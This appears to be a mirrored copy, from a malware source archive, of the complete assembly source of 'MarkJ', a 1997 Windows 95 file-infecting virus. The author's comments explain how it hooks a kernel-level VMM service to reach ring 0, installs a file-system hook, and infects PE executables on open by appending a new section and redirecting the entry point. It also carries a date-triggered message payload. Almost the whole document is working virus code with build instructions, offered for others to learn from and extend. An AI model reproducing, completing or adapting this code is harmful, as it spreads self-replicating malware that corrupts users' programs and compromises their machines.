mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
651 lines
22 KiB
NASM
651 lines
22 KiB
NASM
;
|
|
; MarkJ, by Murkry/IkX
|
|
;
|
|
;
|
|
;
|
|
; Well this idea was very klunky (;) hi dv8) until I received and
|
|
; dissassembled the F---- harry 3 virus. There I found that you could hook
|
|
; VxD functions (yay) using the QG manuver. Well this made this virus easier,
|
|
; the main difference between QG's are this is larger and requires a section
|
|
; to be added the host; this is due to the method in how it gets tsr space its
|
|
; section header is set to Virtual address c0000000 - 400000 (bfc00000)
|
|
; which makes this section loaded at C0000000 an "unused" area in sharedVxD
|
|
; memory this method will also work with the shared memory at 70000000 this
|
|
; method will leave that 1000h area in memory even after the orginal program
|
|
; is ended ;))
|
|
; (*added now b0z0 has already used this in one of his new viruses I am glad
|
|
; to see*)
|
|
; As for the QG manuever well see his source code for more info but basically
|
|
; he uses a fixed location to find the vmm Device Descriptor Block in memory,
|
|
; then finds the schedule Global event entry point well you save this address
|
|
; and replace it with a pointer to your code which will then be at the ring0
|
|
; VxD land now you can call the ifsmger calls to do similiar to the mrKlunky
|
|
; and then repair the Global Event call and your set. Yeah i know thats
|
|
; confusing read the code and figure it out you will learn more and feel better
|
|
; about yourself :)
|
|
; Problems to overcome:
|
|
; well VxDcalls are coded in this fashion
|
|
; int 20h
|
|
; dd 00400032 ; vxd vxdfunction
|
|
; which is replaced with
|
|
; call [vxdfunction address]
|
|
; after the first time it is executed so the code can no longer be simply
|
|
; added to the host, QG fixed this by "patching" all these Dynalinks back to
|
|
; the int 20.... in Fharry, but he leaves the last one that is called at the
|
|
; final write to file which is converted to the call[...] b4 the write to file
|
|
; so this leaves one entry that is not patched Well this is sorta easy to fix
|
|
; in a number of methods I am choosing the easiest way which is to copy the
|
|
; code b4 the dynalink occur to an another location and when I write that copy
|
|
; of the code to the new host, another method would be to create the int 20's
|
|
; in a dynamic manner the first time this method might be nice for a mutating
|
|
; form of this type of virus as you can see VX technology is unlimited in what
|
|
; there is to explore in the Win95 enviroment.
|
|
; hmm oh yeah the virus has a small payload on the 25th of june it will
|
|
; display a VWin32_SysErrorBox wishing Mark j a happy bday :)
|
|
; For those who wonder MarkJ is my friend's son, who is the one who show me
|
|
; the wonderful world of Virii; JHB yea he is around!
|
|
; I know that since I show this to b0z0 he has taken this idea cleaned it up
|
|
; added new ideas so for some code that is more robust check out his article's
|
|
;
|
|
;
|
|
;
|
|
; Murkry
|
|
|
|
|
|
.Radix 16
|
|
|
|
.386
|
|
;some restrictions
|
|
;I do not alter the Virtual address of the new section so the
|
|
; host host must load at a base address of a 400000h if this is not true do
|
|
; not infect
|
|
;to try to stay as a Win95 I check for file alignment as a 200h if not again
|
|
;do not infect
|
|
|
|
; the "new" vxd area I create wants dd 0c0000040h
|
|
;for its characerstics or it fails out strange
|
|
; now this infects pe files that are name as .com files but get this
|
|
; the infect com will not run it hangs the system???? well this is just
|
|
;for demo purposes, rename the infected file to *.exe and it will work :)
|
|
;and lastly I did not add some check to insure that section directory has
|
|
;enough room in it ;) I leave these problems for the student to fix
|
|
;
|
|
; unlike most vxd's virii this requires Tasm and a debug script that sets the
|
|
; characterisics of the .DATA to 0c0000040h all set ;)
|
|
;but does not need special .lib's or the infamous ddk ;)
|
|
;while i have access to it I prefer to make my files without such things
|
|
;that way I can use Tasm and not Masm
|
|
;
|
|
;Well Virii eXplorers I hope this is an acceptable offering ;)
|
|
;thanks to QuantumG, DV8 for source and EXE's that help complete this
|
|
;
|
|
;Murkry 8/21/97
|
|
|
|
; Compiling:
|
|
; tasm32 /ml /m3 markj,,;
|
|
; tlink32 /Tpe /aa /c /v markj,markj,, import32.lib,
|
|
; And then just make the DATA area to be loaded at BFC00000h with a hex editor
|
|
|
|
LoadAt equ 0c0000000h
|
|
PeHeader equ offset Buffer - offset markj + LoadAt
|
|
.model flat
|
|
|
|
extrn ExitProcess:PROC
|
|
extrn AddAtomA:PROC
|
|
;this is just the data area that I am using to build the code that will
|
|
;go in the 0c0000000h area the start of the host will be in the .code
|
|
; and in a real infection it will execute from the section dir..
|
|
.data ;the data area
|
|
markj:
|
|
|
|
;first thing find the VMM uses a fixed location here
|
|
;yea this is just a modfied form of fuck harry by QG but
|
|
;why not
|
|
;maybe its possible to just scan for 'VMM '
|
|
;From 0C0010000 ?
|
|
|
|
StartOfVirus:
|
|
;ok first thing copy the virus to the end of our work and data error
|
|
;this way we have an ucorrupted version
|
|
mov esi, LoadAt
|
|
mov edi,offset DummyCode - Offset StartOfVirus + LoadAt
|
|
mov Ecx,offset EndVirus - Offset StartOfVirus
|
|
rep movsb
|
|
|
|
mov eax,0C000157Fh ;pointer to one location???
|
|
mov ebx,[eax] ;of the VMM dbb
|
|
cmp dword ptr [ebx+0C],0204D4D56h ;'VMM '
|
|
jne ErrorExit ;if not here get out
|
|
|
|
mov ebx,[ebx+30h]
|
|
;find the Service table for th vmm
|
|
;now load the call_global_event address (I think)
|
|
;I have read the source to Fharry and I was right :)
|
|
;Sorta hook this Services
|
|
lea eax,[ebx+3Ch]
|
|
|
|
;Store this value to restore it later
|
|
mov dword ptr ds:[0c0000000h + offset OrgIfsEntry- Offset markj],eax
|
|
; 0c000e384h
|
|
|
|
mov eax,[eax]
|
|
|
|
mov dword ptr ds:[offset VxDOff - Offset markj + LoadAt ],eax
|
|
; 402066
|
|
lea eax,dword ptr ds:[ offset NewHandler - Offset markj + LoadAt]
|
|
;hook the code
|
|
mov [ebx+3Ch],eax ;New Location of our Handler
|
|
|
|
;Ok we should be set to return to the host
|
|
|
|
ErrorExit:
|
|
|
|
RetToHost:
|
|
inc byte ptr ds:[offset CheckTsr - offset markj + LoadAt]
|
|
|
|
Ret
|
|
|
|
;----------------------------------------------------------
|
|
;In Dos we would now be in the int Handler
|
|
; Here we are now in Ring 0 and are part of the VxD land ;)
|
|
; this is where we finish the QG manuever by hooking HookFSD
|
|
|
|
NewHandler:
|
|
pushad
|
|
|
|
|
|
;restore the global event hook
|
|
mov eax,dword ptr ds:[VxDOff - offset markj + LoadAt]
|
|
|
|
;mov [00000000],eax
|
|
db 0A3h
|
|
OrgIfsEntry dd 0
|
|
|
|
mov word ptr ds:[offset VxDSeg - Offset markj + LoadAt],cs
|
|
call CallIFSHook
|
|
|
|
popad
|
|
;---------------------------------------------------------
|
|
|
|
; jmp 0028:00000000
|
|
db 0eah
|
|
VxDOff dd 0401000h
|
|
VxDSeg: dw 0137h
|
|
;---------------------------------------------------------------
|
|
|
|
VVxdCall1:
|
|
CallIFSHook:
|
|
|
|
lea eax,dword ptr ds:[offset NewFShook - Offset markj + LoadAt]
|
|
push edx
|
|
push eax
|
|
|
|
;this is sorta like hooking every int21 that handle file access in DOS
|
|
;This will add a FS hook now whenever a FSD is Called this will be called
|
|
;first
|
|
;Call
|
|
;Tos = New Fsd Address to Install
|
|
;return
|
|
;EAX = Last FShook
|
|
ApiHook: ;4020dd
|
|
int 20h
|
|
V1:
|
|
APIHOOKVXD dd 00400067h
|
|
; IFSMgr_Device_ID 0x00040 /* Installable File System Manager */
|
|
; IFSMgr_Service IFSMgr_InstallFileSystemApiHook 67
|
|
|
|
add esp,00000004 ;like a pop changes no regs but esp
|
|
;some VxD's routines
|
|
;do not clean up after themselves
|
|
;Sometimes check docs for specs :))
|
|
|
|
pop edx ; restore Edx
|
|
;Save the old FSHook so we can chain to it
|
|
mov dword ptr ds:[ offset OldFSD - Offset markj + LoadAt],eax
|
|
|
|
;A little payload here if its the 6/25 then display the B-day mess
|
|
;just using the VMM Exec_VxD_Int to get the System date
|
|
;To be honest I could not find an easier way to do this!!!
|
|
;there are some VxD that give time and date but the date is how many
|
|
; seconds(I think) from some date in the 1980's this is easier and
|
|
; shows that accessing int 21 is still possible infact if QG is hooking the
|
|
; the GlobalEvent from the VMM it should be possible to hook the int21
|
|
; hanlder in a similiar fashion then some creative coding could make the
|
|
; Dos tsr and the VxD code very similiar....
|
|
; check for 6/25 if its the date show the message and set the flag
|
|
;
|
|
|
|
mov eax,00002A00h ;get system date
|
|
push dword ptr 21h
|
|
int 20h
|
|
V2 dd 0001008fh
|
|
|
|
cmp dx,0619
|
|
;6/25 in hex for those decimal heads ;)
|
|
jne ForGetIt
|
|
|
|
|
|
;this shows how one might use the VWin32_SysErrorBox
|
|
;To display a little message justing saying Hi to JHB's son who is the
|
|
; happy (?) reason jhb is not coding as much any more I should add he
|
|
;did help with alot of this code
|
|
mov ebx, LoadAt
|
|
add ebx, offset EBox - offset markj
|
|
int 20h
|
|
V3 dd 002a001ah
|
|
|
|
|
|
ForGetIt:
|
|
|
|
ret
|
|
;----------------------------------------------------
|
|
;all right we have "legal" hook into a FSD and the rest is the
|
|
;just the infection routine
|
|
NewFShook:
|
|
push ebp
|
|
mov ebp,esp
|
|
sub esp,00000020
|
|
|
|
;-------------------------------------------------------
|
|
;Relative EBP this is what was passed I hope DV8 does not mind me
|
|
; using his docs to define this stuff
|
|
;00 - ebp
|
|
;04 - address of caller
|
|
;08 - adress of FSD Function
|
|
;0c - Function ID
|
|
;10 - drive
|
|
;14 - Type of Resource
|
|
;18 - Code Page
|
|
;1C - Pointer to IOREQ record
|
|
; 00 dw Lenght if user Buffer
|
|
; 02 db status Flag
|
|
; 03 db requests' user Id
|
|
; 04 dw file handle's System File number
|
|
; 06 dw Process ID
|
|
; there is more I will copy or add as needed
|
|
|
|
push ebx
|
|
push esi
|
|
push edi
|
|
|
|
; mov edi,00000000
|
|
; db 0bfh ;this gets us so edi points to our
|
|
;VirriOffVxD dd LoadAt ;loc in memory
|
|
|
|
; Use this flag so we are not reentrant
|
|
|
|
cmp byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
|
|
je letOrginal
|
|
;Win95 always opens the file b4 running it so this checks and lets us
|
|
;check if it is opened
|
|
cmp dword ptr [ebp+0Ch],00000024h
|
|
jne letOrginal
|
|
|
|
;ok set our flag
|
|
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],01
|
|
pushad
|
|
|
|
lea esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
|
|
|
|
mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ
|
|
cmp al,0FFh
|
|
je NoNeedDriveLetter
|
|
|
|
|
|
add al,40h ;this creates the c:
|
|
mov [esi],al ;
|
|
inc esi ;takes 1 byte
|
|
mov byte ptr [esi],':' ;
|
|
inc esi ;takes two bytes
|
|
|
|
NoNeedDriveLetter:
|
|
|
|
xor eax,eax
|
|
push eax ;character set
|
|
|
|
mov eax,000000FF ;max size of output buffer
|
|
push eax ;
|
|
|
|
mov ebx,[ebp+1Ch] ;??? copies from Mr k and
|
|
mov eax,[ebx+0Ch] ;Fharry virus it seems to
|
|
add eax,00000004 ;to get the input file name
|
|
push eax ; which is in unicode
|
|
|
|
mov eax,esi ;where we want the output
|
|
push eax ;
|
|
|
|
UniToBcs: ;ok do it
|
|
int 20h
|
|
dd 00400041h
|
|
;IFSMgr_Service UniToBCSPath
|
|
add esp, 4*4 ;need to clean up the stack
|
|
; dword size * how many push
|
|
;(paremeters)
|
|
add esi,eax
|
|
mov byte ptr [esi],00
|
|
cmp dword ptr [esi - 4],"MOC."
|
|
; cmp dword ptr [esi - 4],"EXE." ;hmm could just put this in to infect
|
|
;proper files ;>
|
|
jne ExitVVxD
|
|
;could add the get and save attributes stuff here as a Xercise for the student
|
|
|
|
mov Eax,0000D500h ;create/open file
|
|
xor ecx,ecx
|
|
lea Esi,byte ptr ds:[offset FileName - offset markj + LoadAt]
|
|
mov ebx,2 ;flags
|
|
mov edx,1
|
|
|
|
call VxDIFS ;decide to combine this call
|
|
;int 20
|
|
;dd 00400032h
|
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
|
|
|
jb ExitVVxD ;error opening the file
|
|
mov ebx,eax ;file handle
|
|
|
|
;Read File open with read write d6
|
|
;3c is the location of the dword pter to the PE/NE part
|
|
|
|
mov ecx,00000004 ;how much
|
|
mov edx, 03Ch ;where to read from
|
|
mov eax,0000D600h ;read from file
|
|
lea esi,byte ptr ds:[offset PEPtr - offset markj + LoadAt]
|
|
;where to read to
|
|
|
|
call VxDIFS
|
|
;int 20h
|
|
;dd 00400032h
|
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
|
|
|
mov ecx,400h
|
|
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
|
;use as a pointer
|
|
mov eax,0000D600h
|
|
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
|
|
;where to read to
|
|
|
|
call VxDIFS
|
|
;int 20h
|
|
;dd 00400032h
|
|
;IFSMgr_Service IFSMgr_Ring0_FileIO 32
|
|
;check for the PE
|
|
;Read in the first 1k of info from the PE header on
|
|
cmp dword ptr [esi],00004550h ;00,'EP'
|
|
jne CloseFile
|
|
|
|
;Alright!! its a PE file now check if infected
|
|
;use the user defined 2 words at 44h = Murk
|
|
;figure file size
|
|
;figure amout to add
|
|
;fix header and write end and then write header
|
|
;all offsets should be off the offset Buffer - offset markj + LoadAt
|
|
; called PeHeader
|
|
|
|
;Lets do some checks if any fail get out
|
|
|
|
cmp dword ptr ds:[PeHeader + 44],'kruM' ;user define
|
|
je CloseFile
|
|
;Well not infected with MarkJ1 virus
|
|
|
|
cmp dword ptr ds:[PeHeader + 34h ],00400000h ;base image
|
|
jne CloseFile
|
|
;for this example we only want the base image to be 400000h
|
|
|
|
cmp dword ptr ds:[PeHeader + 3ch],200h ;file alignment
|
|
jne CloseFile
|
|
;and lastly check the file alignment if 200 we are set
|
|
|
|
|
|
xor eax,eax
|
|
mov ax,word ptr ds:[PeHeader + 6] ;how many sections
|
|
mov ecx,28h ;section size
|
|
mul ecx
|
|
|
|
mov edi,eax ;New Section Entry
|
|
add edi,PeHeader + 0f8h ;add Pe header size
|
|
|
|
push edi ;location in PeHeader of new section header
|
|
|
|
mov esi, offset SectName - offset markj + LoadAt
|
|
mov ecx, offset EndVirus - offset SectName
|
|
rep movsb
|
|
|
|
pop edi
|
|
|
|
;get file size
|
|
mov eax,0d800h ;get file size
|
|
|
|
call VxDIFS
|
|
; int 20h
|
|
; dd 00400032h
|
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
|
;jc for error
|
|
|
|
mov dword ptr ds:[offset FileSize - offset markj + LoadAt],Eax
|
|
|
|
push eax ;save the size
|
|
pop edx ;get it in edx
|
|
push edx ;save again
|
|
add eax,0200h
|
|
shr eax,09h ;make it the 200h size
|
|
shl eax,09h ;
|
|
|
|
pop ecx
|
|
sub eax,ecx
|
|
xchg eax,ecx
|
|
|
|
;Extend the file to a 200 file alignment
|
|
|
|
cmp ecx,0200h
|
|
jz AtAlignment
|
|
add dword ptr ds:[offset FileSize - offset markj + LoadAt],Ecx
|
|
|
|
mov eax,0000d601h ;write to file
|
|
mov esi,0c0000000h
|
|
call VxDIFS
|
|
;int 20h
|
|
;dd 00400032h ;edx is telling us where to write to in the file
|
|
AtAlignment:
|
|
|
|
mov edx, dword ptr ds:[offset FileSize - offset markj + LoadAt]
|
|
mov dword ptr ds:[edi + 14h ],edx
|
|
|
|
mov ecx,offset EndVirus - offset StartOfVirus
|
|
mov eax,0000d601h ;write to file
|
|
mov esi,offset DummyCode - Offset StartOfVirus + LoadAt
|
|
call VxDIFS
|
|
;int 20h
|
|
;dd 00400032h ;edx is telling us where to write to
|
|
|
|
;ok fix the header and write it back
|
|
;fix marker
|
|
mov dword ptr ds:[PeHeader + 44h],'kruM' ;user define
|
|
;fix Eip
|
|
mov eax,edi
|
|
sub eax,PeHeader
|
|
add eax,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
|
add eax,28h ;<----NewEip
|
|
mov dword ptr ds:[edi + 28h + 1],eax
|
|
push eax ;save the new eip
|
|
|
|
mov eax,dword ptr ds:[PeHeader + 28]
|
|
mov dword ptr ds:[edi + offset OldEipRva - offset SectName],eax
|
|
|
|
pop eax
|
|
mov dword ptr ds:[PeHeader + 28],eax ;set the new eip
|
|
|
|
|
|
;fix section count
|
|
inc word ptr ds:[PeHeader + 6]
|
|
|
|
mov ecx,400h
|
|
mov edx,dword ptr ds:[offset PEPtr - offset markj + LoadAt]
|
|
;use as a pointer
|
|
lea esi,byte ptr ds:[offset Buffer - offset markj + LoadAt]
|
|
;where to read to
|
|
mov eax,0000d601h ;write to file
|
|
call VxDIFS
|
|
; int 20h
|
|
; dd 00400032h ;edx is telling us where to write to
|
|
|
|
|
|
CloseFile:
|
|
mov eax,0000d700h
|
|
|
|
call VxDIFS
|
|
;int 20h ;402500h
|
|
;dd 00400032h
|
|
;IFSMgr_Service IFSMgr_Ring0_FileIO
|
|
|
|
|
|
|
|
ExitVVxD:
|
|
Popad
|
|
;Restore our flag so we can infect the next file
|
|
mov byte ptr ds:[offset Flag1 - offset markj + LoadAt],0
|
|
|
|
letOrginal:
|
|
|
|
mov eax,[ebp+1CH] ;040250eh
|
|
push eax
|
|
mov eax,[ebp+18H]
|
|
push eax
|
|
mov eax,[ebp+14H]
|
|
push eax
|
|
mov eax,[ebp+10H]
|
|
push eax
|
|
mov eax,[ebp+0CH]
|
|
push eax
|
|
mov eax,[ebp+08H]
|
|
push eax
|
|
|
|
;mov eax,00000000
|
|
db 0b8h
|
|
OldFSD dd 0
|
|
call [eax]
|
|
|
|
add esp,00000018
|
|
pop edi
|
|
pop esi
|
|
pop ebx
|
|
leave ;402533h
|
|
ret
|
|
|
|
;********************************************
|
|
VxDIFS:
|
|
int 20h ;402500h
|
|
dd 00400032h
|
|
ret
|
|
|
|
;********************************************
|
|
|
|
MFlag db ?
|
|
Flag1 db ?
|
|
|
|
EBox dd ?
|
|
butt1 dw 0
|
|
butt2 dw 8001
|
|
butt3 dw 0
|
|
TitleOff dd offset TitleEB - offset markj +0c0000000h
|
|
TextOff dd offset TextEB - offset markj +0c0000000h
|
|
|
|
TitleEB db 'Happy Birth Day to Mark J ',0
|
|
TextEB db 'From Murkry',0
|
|
|
|
;-----------------------------------------------------------
|
|
|
|
SectName db "MarkJ_I "
|
|
Physadd dd offset EndVirus - offset StartOfVirus
|
|
VirtualAdd dd 0c0000000h - 400000h ;bfc00000
|
|
SizeRawData dd offset EndVirus - offset StartOfVirus
|
|
PntrRawData dd 0 ;will be set at infection
|
|
PnterReloc dd ?
|
|
PnterLine dd ?
|
|
dw ?
|
|
dw ?
|
|
Character dd 0c0000040h
|
|
|
|
;sub eax, offset HOST - 400000h
|
|
db 2dh
|
|
NewEipRva dd offset HOST - 400000h
|
|
|
|
cmp eax,400000h
|
|
jne GetOut
|
|
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
|
|
jne GetOut
|
|
|
|
;EAX ;current base address
|
|
pushad
|
|
call DoNothing
|
|
DoNothing:
|
|
pop eax
|
|
add eax,0bh
|
|
push eax
|
|
push 0c0000000h
|
|
ret
|
|
Here:
|
|
popad
|
|
|
|
GetOut:
|
|
|
|
;add eax, offset return - 400000h
|
|
db 05h
|
|
OldEipRva dd offset return - 400000h
|
|
|
|
jmp eax
|
|
;----------------------------------------------------------------
|
|
|
|
|
|
|
|
EndVirus:
|
|
FileName db 100 dup(00) ;holds the file name
|
|
|
|
|
|
PEPtr dd 0
|
|
FileSize dd 0
|
|
Buffer db 400h dup(00)
|
|
|
|
CheckTsr db 00
|
|
|
|
DummyCode:
|
|
|
|
;--------------------------------------------------------------------
|
|
.code ;executable code starts here
|
|
|
|
HOST:
|
|
;sub eax, offset HOST - 400000h
|
|
db 2dh
|
|
NewEipRva1 dd offset HOST - 400000h
|
|
|
|
cmp eax,400000h
|
|
jne GetOut1
|
|
cmp byte ptr ds:[offset CheckTsr - offset markj + LoadAt],0
|
|
jne GetOut1
|
|
|
|
;EAX ;current base address
|
|
pushad
|
|
call DoNothing1
|
|
DoNothing1:
|
|
pop eax
|
|
add eax,0bh
|
|
push eax
|
|
push 0c0000000h
|
|
ret
|
|
Here1:
|
|
popad
|
|
|
|
GetOut1:
|
|
|
|
;add eax, offset return - 400000h
|
|
db 05h
|
|
OldEipRva1 dd offset return - 400000h
|
|
|
|
jmp eax
|
|
;--------------------------------------------------
|
|
|
|
return:
|
|
push LARGE -1
|
|
call ExitProcess
|
|
|
|
end HOST
|